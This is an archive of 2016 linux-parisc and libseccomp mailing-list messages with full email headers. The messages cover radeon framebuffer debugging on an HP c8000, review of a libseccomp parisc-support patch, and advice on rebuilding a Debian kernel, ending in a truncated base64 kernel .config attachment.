 <570FB039.8040109@bell.net>
 <CACrbsaDJ2PCAh3KBV=T1Cwi4JxtV31bPJw-PireiZW6W51qCmg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1460650776 32480 80.91.229.3 (14 Apr 2016 16:19:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Apr 2016 16:19:36 +0000 (UTC)
Cc: Graham Gower <graham.gower@gmail.com>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>
To: Simone Mannori <simone.mannori@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 14 18:19:31 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aqjzO-0005tj-8o
	for glpp-linux-parisc@plane.gmane.org; Thu, 14 Apr 2016 18:19:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932543AbcDNQT3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 14 Apr 2016 12:19:29 -0400
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:39033 "EHLO
	torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S932235AbcDNQT2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 14 Apr 2016 12:19:28 -0400
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20160414161926.VXSQ15290.torfep02.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Thu, 14 Apr 2016 12:19:26 -0400
Original-Received: from [192.168.0.122] (really [64.231.92.133])
          by torspm02.bell.net with ESMTP
          id <20160414161926.HZCC14886.torspm02.bell.net@[192.168.0.122]>;
          Thu, 14 Apr 2016 12:19:26 -0400
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101
 Thunderbird/38.7.2
In-Reply-To: <CACrbsaDJ2PCAh3KBV=T1Cwi4JxtV31bPJw-PireiZW6W51qCmg@mail.gmail.com>
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020204.570FC30E.0234,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26635
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26635>

On 2016-04-14 11:54 AM, Simone Mannori wrote:
> Very interesting and useful info, but they don't help us to fix the basic issue.
>
> We have several AGP cards able to work correctly BUT in passive frame
> buffer only mode, therefore the c8000, a quite fast quad core
> workstation , with X11, looks like a bradypus instead that a
> velociraptor.
>
> This is the moment to recompile a custom kernel with some printk.
>
I tried this a year or so ago.  I pretty much convinced myself that the 
firmware loaded
correctly, and that read and write operations seemed to work. However, I 
wasn't able
to find why the the ring buffer test failed.  I also checked that the 
firmware was identical
to that used on hpux.

There is an ATI document somewhere on the register interface.

I understand your frustration.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Moore <paul@paul-moore.com>
Newsgroups: gmane.comp.lib.libseccomp.general,gmane.linux.ports.parisc
Subject: Re: [PATCH] libseccomp: Add parisc architecture support (v2)
Date: Thu, 14 Apr 2016 19:14:14 -0400
Lines: 62
Approved: news@gmane.org
Message-ID: <CAHC9VhSseu8kLg0W+Ee0bnOiPSKHfGq-zsq-xmrOfMFozohmZA@mail.gmail.com>
References: <20160213200731.GA18161@ls3530.box>
	<3673666.V2ZqGazvLY@sifl>
	<56C24911.8000200@gmx.de>
	<1907254.cBdVSxntFv@sifl>
	<20160409070549.GA5442@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1460675664 10284 80.91.229.3 (14 Apr 2016 23:14:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Apr 2016 23:14:24 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, 
	James Bottomley <James.Bottomley@hansenpartnership.com>, 
	John David Anglin <dave.anglin@bell.net>, libseccomp@googlegroups.com, 
	Mike Frysinger <vapier@gentoo.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: libseccomp+bncBD4NPLXYE4IMNSGAXACRUBCUS2Y7A@googlegroups.com Fri Apr 15 01:14:16 2016
Return-path: <libseccomp+bncBD4NPLXYE4IMNSGAXACRUBCUS2Y7A@googlegroups.com>
Envelope-to: gcllg-libseccomp-discuss-2@m.gmane.org
Original-Received: from mail-yw0-f188.google.com ([209.85.161.188])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <libseccomp+bncBD4NPLXYE4IMNSGAXACRUBCUS2Y7A@googlegroups.com>)
	id 1aqqSm-0004pU-2k
	for gcllg-libseccomp-discuss-2@m.gmane.org; Fri, 15 Apr 2016 01:14:16 +0200
Original-Received: by mail-yw0-f188.google.com with SMTP id k197sf30462533ywe.0
        for <gcllg-libseccomp-discuss-2@m.gmane.org>; Thu, 14 Apr 2016 16:14:15 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlegroups.com; s=20120806;
        h=sender:mime-version:in-reply-to:references:date:message-id:subject
         :from:to:cc:x-original-sender:x-original-authentication-results
         :precedence:mailing-list:list-id:x-spam-checked-in-group:list-post
         :list-help:list-archive:list-subscribe:list-unsubscribe;
        bh=Ej5MtYRz/3amPsh/Cd1uCQYrAbj41Ad7LMqWmD1vnc4=;
        b=yJxcLZXOfoQoPJSQ3X/DHFmstSr2Dht+Evv0+ZJQhauOQclwf9OQfHyiy3BGhEyw0e
         yqY6c7I+LlJVsDE/n6+C5fSxXvy6ryS6OWM6778RF/rHI1FZbr5E1PX3luhMPehOw8Hd
         A1e8fxMS8yCdUnoivkoYV7opckRT3qQug0Dz2I9yhz6SVYRhfoN308MTvobxx+n3rf8y
         WrZt1fRC948cX66NfAuMO0+RiHsnx9uVdIjrVelRYYCLiYji7ZbZCvnktCxWc1Jz4eh2
         JKKaCU7jFzZMgCg8Npsg7daQ+QsgaI5ZjaSDz+C+SRWwF4PBeT7T48HQFVJgN/M2tyDc
         RdVw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=sender:x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:x-original-sender
         :x-original-authentication-results:precedence:mailing-list:list-id
         :x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=Ej5MtYRz/3amPsh/Cd1uCQYrAbj41Ad7LMqWmD1vnc4=;
        b=hKlHyC6OpDh8W32IxAFmLbt4l25fuZdHJrjdOkJntjeDu8aXGDSelr/CbITmJnTda+
         8GburXC+3OWmeL2ZCLPEtXBG83Uoc5YdBPpmFO6ZnrrorzoQsTRRJ9KzK98DI8PFi4Hh
         0XwcN2+5CYZZ1SBM0GQyhTg/IDMD2yUrRpxdFh9OHOBpbCImW41WyEkDVV+fELDBbie/
         V5j+eph1z77A6Se9S1fPbPm0gvmBPYRfKMaPel4lm12GqDad31gx9D/GNhAeb+HQ3H8c
         gIEoeXAaMQgB4OEdiGx1xIWocmDKmUStrZJyoz5oQIaB8UuoWoRGAtVRAVyU37jGOcW5
         LdvQ==
Original-Sender: libseccomp@googlegroups.com
X-Gm-Message-State: AOPr4FU33Zehm++odk9imPbCscbKWSWFnogRU8gpUS7AZ57wb3YXZaikNFl0+34jqw8tqQ==
X-Received: by 10.140.92.196 with SMTP id b62mr591748qge.5.1460675654954;
        Thu, 14 Apr 2016 16:14:14 -0700 (PDT)
X-BeenThere: libseccomp@googlegroups.com
Original-Received: by 10.140.19.147 with SMTP id 19ls597427qgh.82.gmail; Thu, 14 Apr
 2016 16:14:14 -0700 (PDT)
X-Received: by 10.140.156.72 with SMTP id c69mr11261713qhc.4.1460675654720;
        Thu, 14 Apr 2016 16:14:14 -0700 (PDT)
Original-Received: from mail-oi0-x22d.google.com (mail-oi0-x22d.google.com. [2607:f8b0:4003:c06::22d])
        by gmr-mx.google.com with ESMTPS id cs5si2038534igb.0.2016.04.14.16.14.14
        for <libseccomp@googlegroups.com>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 14 Apr 2016 16:14:14 -0700 (PDT)
Received-SPF: neutral (google.com: 2607:f8b0:4003:c06::22d is neither permitted nor denied by best guess record for domain of paul@paul-moore.com) client-ip=2607:f8b0:4003:c06::22d;
Original-Received: by mail-oi0-x22d.google.com with SMTP id w85so108705165oiw.0
        for <libseccomp@googlegroups.com>; Thu, 14 Apr 2016 16:14:14 -0700 (PDT)
X-Received: by 10.202.0.78 with SMTP id 75mr8877770oia.134.1460675654429; Thu,
 14 Apr 2016 16:14:14 -0700 (PDT)
Original-Received: by 10.202.106.79 with HTTP; Thu, 14 Apr 2016 16:14:14 -0700 (PDT)
X-Originating-IP: [108.49.39.189]
In-Reply-To: <20160409070549.GA5442@ls3530.box>
X-Original-Sender: paul@paul-moore.com
X-Original-Authentication-Results: gmr-mx.google.com;       dkim=pass
 header.i=@paul-moore-com.20150623.gappssmtp.com;       spf=neutral
 (google.com: 2607:f8b0:4003:c06::22d is neither permitted nor denied by best
 guess record for domain of paul@paul-moore.com) smtp.mailfrom=paul@paul-moore.com
Precedence: list
Mailing-list: list libseccomp@googlegroups.com; contact libseccomp+owners@googlegroups.com
List-ID: <libseccomp.googlegroups.com>
X-Spam-Checked-In-Group: libseccomp@googlegroups.com
X-Google-Group-Id: 473669215327
List-Post: <https://groups.google.com/group/libseccomp/post>, <mailto:libseccomp@googlegroups.com>
List-Help: <https://groups.google.com/support/>, <mailto:libseccomp+help@googlegroups.com>
List-Archive: <https://groups.google.com/group/libseccomp
List-Subscribe: <https://groups.google.com/group/libseccomp/subscribe>, <mailto:libseccomp+subscribe@googlegroups.com>
List-Unsubscribe: <mailto:googlegroups-manage+473669215327+unsubscribe@googlegroups.com>,
 <https://groups.google.com/group/libseccomp/subscribe>
Xref: news.gmane.org gmane.comp.lib.libseccomp.general:1340 gmane.linux.ports.parisc:26636
Archived-At: <http://permalink.gmane.org/gmane.comp.lib.libseccomp.general/1340>

On Sat, Apr 9, 2016 at 3:05 AM, Helge Deller <deller@gmx.de> wrote:
> This patch (v2) adds support for the parisc and parisc64 architectures
> to libseccomp.

Great!

> I didn't split up the patch, because it's pretty trivial.
> Those parisc-specific files gets added:
>  src/arch-parisc-syscalls.c
>  src/arch-parisc.c
>  src/arch-parisc.h
>  src/arch-parisc64.c
>
> All other changes are trivial because they simply add parisc-specific
> case statements in variouse switch statements.
>
> I noticed that when valgrind is not going to be used (e.g. because it's not
> installed), the test testsuite will issue no information about that. With this
> patch you will get informed if a testcase was SKIPPED because valgrind is not
> installed. This additional info is useful for architectures which aren't as
> fast as x86_64. On parisc it seemed that the whole testcase was hanging, now
> people know what's actually happening.

Would you mind separating out the valgrind portion of the patch into a
separate patch?  That is something we can merge regardless, as it
isn't pa-risc specific, and would be a nice addition.

> I did ran a "make check" sucessfully on x86_64 and parisc.
> The x86_64 didn't showed any issues, while on the parisc architecture
> the 29-sim-pseudo_syscall testcase failed. But it seems this testcase
> failure is not caused by this patch, instead it seems that it will fail
> on most other architectures beside x86_64 as well.

There should be no test failures on any of the arch/ABIs that
libseccomp supports.  Can you elaborate on the failure you are seeing
with 29-sim-pseudo_syscall?  Are you using a current libseccomp from
the master branch?

Also, it would be good to ensure that 'cd tests; ./regression -T live'
worked correctly; these tests aren't run automatically because they
are the live tests, but they need to pass before we merge the new
architecture.

> It would be nice if you could add this patch to the libseccomp git tree.
> The patch applies cleanly to current git head.
>
> Changes compared to v1 of this patch:
> - Enabled seccomp mode 2 regression tests on parisc. Kernel support for hppa
> was added in kernel 4.6-rc1 and backported into the kernel stable series.

So all necessary kernel support is now part of the 4.6-rcX kernels?

-- 
paul moore
www.paul-moore.com

-- 
You received this message because you are subscribed to the Google Groups "libseccomp" group.
To unsubscribe from this group and stop receiving emails from it, send an email to libseccomp+unsubscribe@googlegroups.com.
To post to this group, send email to libseccomp@googlegroups.com.
For more options, visit https://groups.google.com/d/optout.


From - Thu Nov 08 21:38:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simone Mannori <simone.mannori@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Kernel for bug hunting
Date: Fri, 15 Apr 2016 07:04:17 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <CACrbsaA0-h9VYXCcQ8x9C++K-kSFSPiBAHye_Jr=urpASfHe=A@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1460696665 9081 80.91.229.3 (15 Apr 2016 05:04:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 15 Apr 2016 05:04:25 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 15 07:04:20 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aqvvX-0003XB-Fz
	for glpp-linux-parisc@plane.gmane.org; Fri, 15 Apr 2016 07:04:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751157AbcDOFET (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 15 Apr 2016 01:04:19 -0400
Original-Received: from mail-ig0-f180.google.com ([209.85.213.180]:36950 "EHLO
	mail-ig0-f180.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750966AbcDOFES (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 15 Apr 2016 01:04:18 -0400
Original-Received: by mail-ig0-f180.google.com with SMTP id g8so12831044igr.0
        for <linux-parisc@vger.kernel.org>; Thu, 14 Apr 2016 22:04:18 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:date:message-id:subject:from:to:cc;
        bh=EQIsei/jeXI4bHnlLFGqGGZj7tGfgi/Yw//v1uVRj1o=;
        b=j43ZcGsg+uot66EuX565iDgtlYeqGTm8NLeDcW8ZEEe2Tu7cDiNAPGnZK4aUQdBeBn
         E7C1J7IxsKe0XqulzZBSna+wRTuOwwk86Nli70M+5RdC291mgcsXifH1VeQVoCrx+BHb
         v37xNxxGt1fuwM6zWkijWWjwstVvRFrpmdhfrc9oerJLlPL4GDfo6UjSMOrbQgi0MmBm
         HxoELrsXzsDExAN4YhIa8Hz0IskNOJNJ8JpPOxxHcF8mzZ4whzZM0yoxWp5X6oKGc9S2
         xNNPBdVaKtX7Ot94OpFALpWcFq67XVvSKEj0Vq2JDoZjcGIvpq45bograrlrB/gTmw5F
         0Dkw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:date:message-id:subject:from:to:cc;
        bh=EQIsei/jeXI4bHnlLFGqGGZj7tGfgi/Yw//v1uVRj1o=;
        b=coP3uFI5DF2f9Oy22nEbaiGd04ld56S470eOaSbCMRdwY1ZNfXN3UgjKZlOmPyoEvA
         bGfjW75CT3XBKs0F97xP4ME7nlh76DKQbFZNU13u/qOTEUJRFArYw3lEkUZRU2XOP4RY
         ft8bGzlMkpDygrUK6KviwGcvEslG6PQk/25D+N0iyD+1wtOZX618dwFdJ4EIWZ9TOqQV
         bcjnodFdyjSBR/0tf7VXTDXspVBfl/cqMC1Ff1jbR59gnhhAVFLADHfYHkK52gbZ6qJF
         YOkCm+y1E2ovdL8Khx6/+X/my8+LXfTqOwrB3DIlSE0qsjtToDJrxiF1Xo7hTqen9YJV
         j2AQ==
X-Gm-Message-State: AOPr4FXWo0XRqvKg99oMqlzxv44PEuTWG3dh1bFpFo0hPPfFhqewvqcUlnqgh8qs2adHJxJxTzd7wit5FelRCQ==
X-Received: by 10.50.112.137 with SMTP id iq9mr2370080igb.19.1460696657576;
 Thu, 14 Apr 2016 22:04:17 -0700 (PDT)
Original-Received: by 10.64.116.230 with HTTP; Thu, 14 Apr 2016 22:04:17 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26637
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26637>

Dear All,

I'm using Debian 8.0 (linux-parisc) on a c8000 and I would like to
recompile the Linux kernel for debugging purposes, hoping to find and
fix the "[radeon] and [nouveau] passive frame buffer mode".

Q1: Which version you suggest? Stable /devevelopment / GIT ?

Q2: Where I can find it? (www.kernel.org ?)

Q3: Which GCC version? (4.x ? 5.x ?)

Q4: As ".config default", you suggest the Debian 8.0 one or you have a
better new one?

You have already suuggested me few [radeon] source files where put my
nose and what debugging tools I should use (printk). My actual problem
is to find the right kernel/gcc version (I've tried several
combinations, but the compilation stops with errors).

Thanks in advance for your help.

   Simone Mannori - ITALY
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Kernel for bug hunting
Date: Fri, 15 Apr 2016 10:41:00 +0200
Lines: 1394
Approved: news@gmane.org
Message-ID: <5710A91C.4040609@gmx.de>
References: <CACrbsaA0-h9VYXCcQ8x9C++K-kSFSPiBAHye_Jr=urpASfHe=A@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------050504040601010707060108"
X-Trace: ger.gmane.org 1460709692 9101 80.91.229.3 (15 Apr 2016 08:41:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 15 Apr 2016 08:41:32 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>
To: Simone Mannori <simone.mannori@gmail.com>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 15 10:41:21 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aqzJU-0001m7-A5
	for glpp-linux-parisc@plane.gmane.org; Fri, 15 Apr 2016 10:41:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751697AbcDOIlP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 15 Apr 2016 04:41:15 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:53683 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751668AbcDOIlK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 15 Apr 2016 04:41:10 -0400
Original-Received: from [10.95.162.180] ([155.56.40.73]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0M3j17-1bhzTD12Jd-00rIUa; Fri, 15 Apr 2016 10:41:02
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <CACrbsaA0-h9VYXCcQ8x9C++K-kSFSPiBAHye_Jr=urpASfHe=A@mail.gmail.com>
X-Provags-ID: V03:K0:J0qC++SV5yMEIwCndnuwphAe/HWLiQgpNnYPiHdk83ykilQ05qQ
 JzfToc5NPBJBYgjJe0UBhbpX7fvXguNxLyvCyrgwezicHjWBWEl7W3LxRaNctM6hrB67Q9B
 J8s9HfhT7zEVYn7s9fcs7p5kBk7QbQB+7Yg1z4y2JU2hPEUXzw5EsPL/AWB+l13g4fwK11M
 djOayIw70t/MucXDctB8g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:C+Nq1R9JbKk=:UAsgR1+gaIAO69B8VNKJEZ
 zSWUO3M4Ar10Jr/9b+yxP5erZw5xIKzV3yvzcL1IZ6UdWJM0ufmyCY81684b85glHzLzvywM6
 l03OOrYTUcb06h0ebaDz9lBe+dbLe464iJwVhPbvvevVbNezXy+hhxLgF2GDUJ+S6gDEs3FHc
 Zb2CGp2yiHKBGBxXWRHDPA+pCBZcfsbdhvhtmNdTn1F6ZdqOFB2qgqOYEO1tze42iYOFtk68W
 5W5CtDGwJV8gwAljsYretHyax8j365uY3skHzN5s1maS9z19mKD75fGp0X6bsd+Evew3Rw5ie
 ZpL/ax24pcHnWVl5pdCCv09loNZUQSqpfsD/6nVI2LNS6sLNijdP+tz9v0jmioVeRwIp1Jklr
 PGWJaAQHwMp4oJmge7Hr8U0kiYF32NrvBJrZEC3UhHEQJ1XXo6cwMobuboQn4GStTF5ssBV0n
 Xsvw8eoNlzCmp5gbuM5xOeUj0EMo9BS6mfreJ3zUILMlVRwX1hilSIx1Ra6BOdhS+96rv0HGQ
 f6K9Iog0LzFuJeDdVzhFZ7jdvSgxcCMC44FNevdOEGTsT4ODjXae4jKiMY9saiNjPl6ofVRqI
 fTQEgoRLiRXItlXt6cSq4fRNc7N3lB903vUP5PkYq+51oghMhxvIJymf/n2ZwXYqHDSOG32Dm
 ixIMFKwCCQ3ZgYENDgYW6yamdOtzwpTiU1oD4zuoN3XVWOQOn+/gRhctKZiOUpBjmYtWOzsxI
 9ZZnqkBWwfOh82ReaQxQGA6d4oyGD7yhKqU5b5ptkhGrKc2ow8E7WVGuXL8=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26638
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26638>

This is a multi-part message in MIME format.
--------------050504040601010707060108
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit

Hi Simone,

On 15.04.2016 07:04, Simone Mannori wrote:
> I'm using Debian 8.0 (linux-parisc) on a c8000 and I would like to
> recompile the Linux kernel for debugging purposes, hoping to find and
> fix the "[radeon] and [nouveau] passive frame buffer mode".
> 
> Q1: Which version you suggest? Stable /devevelopment / GIT ?

I'd suggest to use 4.5-stable, or alternatively the debian 4.5.1 kernel source.

> Q2: Where I can find it? (www.kernel.org ?)

Yes, either clone linux-4.5.y from git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git
(http://git.kernel.org/cgit/linux/kernel/git/stable/linux-stable.git/),
or run "apt-get	update", "apt-get source linux" on debian.
For that you need this in /etc/apt/sources.list:
deb-src http://ftp.debian.org/debian unstable main

Then, run "apt-get build-dep linux" once to get the build-depends.

> Q3: Which GCC version? (4.x ? 5.x ?)

gcc-4.9.
Get's installed when you run "apt-get build-dep linux".

> Q4: As ".config default", you suggest the Debian 8.0 one or you have a
> better new one?

The debian one is fine, alternatively you could use the one I'm using (attached here).
"make c8000_defconfig" should work as well.

> You have already suuggested me few [radeon] source files where put my
> nose and what debugging tools I should use (printk). My actual problem
> is to find the right kernel/gcc version (I've tried several
> combinations, but the compilation stops with errors).

Hope the above answers helps.

Helge


--------------050504040601010707060108
Content-Type: text/plain; charset=UTF-8;
 name=".config"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
 filename=".config"

IwojIEF1dG9tYXRpY2FsbHkgZ2VuZXJhdGVkIGZpbGU7IERPIE5PVCBFRElULgojIExpbnV4
L3BhcmlzYyA0LjYuMC1yYzMgS2VybmVsIENvbmZpZ3VyYXRpb24KIwpDT05GSUdfUEFSSVND
PXkKQ09ORklHX01NVT15CkNPTkZJR19TVEFDS19HUk9XU1VQPXkKQ09ORklHX1JXU0VNX0dF
TkVSSUNfU1BJTkxPQ0s9eQojIENPTkZJR19BUkNIX0hBU19JTE9HMl9VMzIgaXMgbm90IHNl
dAojIENPTkZJR19BUkNIX0hBU19JTE9HMl9VNjQgaXMgbm90IHNldApDT05GSUdfR0VORVJJ
Q19CVUc9eQpDT05GSUdfR0VORVJJQ19IV0VJR0hUPXkKQ09ORklHX0dFTkVSSUNfQ0FMSUJS
QVRFX0RFTEFZPXkKQ09ORklHX1RJTUVfTE9XX1JFUz15CkNPTkZJR19TVEFDS1RSQUNFX1NV
UFBPUlQ9eQpDT05GSUdfTkVFRF9ETUFfTUFQX1NUQVRFPXkKQ09ORklHX05FRURfU0dfRE1B
X0xFTkdUSD15CkNPTkZJR19QR1RBQkxFX0xFVkVMUz0zCkNPTkZJR19TWVNfU1VQUE9SVFNf
SFVHRVRMQkZTPXkKQ09ORklHX0RFRkNPTkZJR19MSVNUPSIvbGliL21vZHVsZXMvJFVOQU1F
X1JFTEVBU0UvLmNvbmZpZyIKQ09ORklHX0lSUV9XT1JLPXkKQ09ORklHX0JVSUxEVElNRV9F
WFRBQkxFX1NPUlQ9eQoKIwojIEdlbmVyYWwgc2V0dXAKIwpDT05GSUdfSU5JVF9FTlZfQVJH
X0xJTUlUPTMyCkNPTkZJR19DUk9TU19DT01QSUxFPSIiCiMgQ09ORklHX0NPTVBJTEVfVEVT
VCBpcyBub3Qgc2V0CkNPTkZJR19MT0NBTFZFUlNJT049Ii02NGJpdCIKIyBDT05GSUdfTE9D
QUxWRVJTSU9OX0FVVE8gaXMgbm90IHNldApDT05GSUdfREVGQVVMVF9IT1NUTkFNRT0iKG5v
bmUpIgpDT05GSUdfU1dBUD15CkNPTkZJR19TWVNWSVBDPXkKQ09ORklHX1NZU1ZJUENfU1lT
Q1RMPXkKQ09ORklHX1BPU0lYX01RVUVVRT15CkNPTkZJR19QT1NJWF9NUVVFVUVfU1lTQ1RM
PXkKQ09ORklHX0NST1NTX01FTU9SWV9BVFRBQ0g9eQpDT05GSUdfRkhBTkRMRT15CkNPTkZJ
R19VU0VMSUI9eQpDT05GSUdfQVVESVQ9eQpDT05GSUdfSEFWRV9BUkNIX0FVRElUU1lTQ0FM
TD15CkNPTkZJR19BVURJVFNZU0NBTEw9eQpDT05GSUdfQVVESVRfV0FUQ0g9eQpDT05GSUdf
QVVESVRfVFJFRT15CgojCiMgSVJRIHN1YnN5c3RlbQojCkNPTkZJR19HRU5FUklDX0lSUV9Q
Uk9CRT15CkNPTkZJR19JUlFfRE9NQUlOPXkKIyBDT05GSUdfSVJRX0RPTUFJTl9ERUJVRyBp
cyBub3Qgc2V0CgojCiMgQ1BVL1Rhc2sgdGltZSBhbmQgc3RhdHMgYWNjb3VudGluZwojCkNP
TkZJR19USUNLX0NQVV9BQ0NPVU5USU5HPXkKQ09ORklHX0JTRF9QUk9DRVNTX0FDQ1Q9eQpD
T05GSUdfQlNEX1BST0NFU1NfQUNDVF9WMz15CkNPTkZJR19UQVNLU1RBVFM9eQpDT05GSUdf
VEFTS19ERUxBWV9BQ0NUPXkKQ09ORklHX1RBU0tfWEFDQ1Q9eQpDT05GSUdfVEFTS19JT19B
Q0NPVU5USU5HPXkKCiMKIyBSQ1UgU3Vic3lzdGVtCiMKQ09ORklHX1RSRUVfUkNVPXkKIyBD
T05GSUdfUkNVX0VYUEVSVCBpcyBub3Qgc2V0CkNPTkZJR19TUkNVPXkKIyBDT05GSUdfVEFT
S1NfUkNVIGlzIG5vdCBzZXQKQ09ORklHX1JDVV9TVEFMTF9DT01NT049eQojIENPTkZJR19U
UkVFX1JDVV9UUkFDRSBpcyBub3Qgc2V0CiMgQ09ORklHX1JDVV9FWFBFRElURV9CT09UIGlz
IG5vdCBzZXQKIyBDT05GSUdfQlVJTERfQklOMkMgaXMgbm90IHNldAojIENPTkZJR19JS0NP
TkZJRyBpcyBub3Qgc2V0CkNPTkZJR19MT0dfQlVGX1NISUZUPTE3CkNPTkZJR19MT0dfQ1BV
X01BWF9CVUZfU0hJRlQ9MTIKIyBDT05GSUdfQ0dST1VQUyBpcyBub3Qgc2V0CiMgQ09ORklH
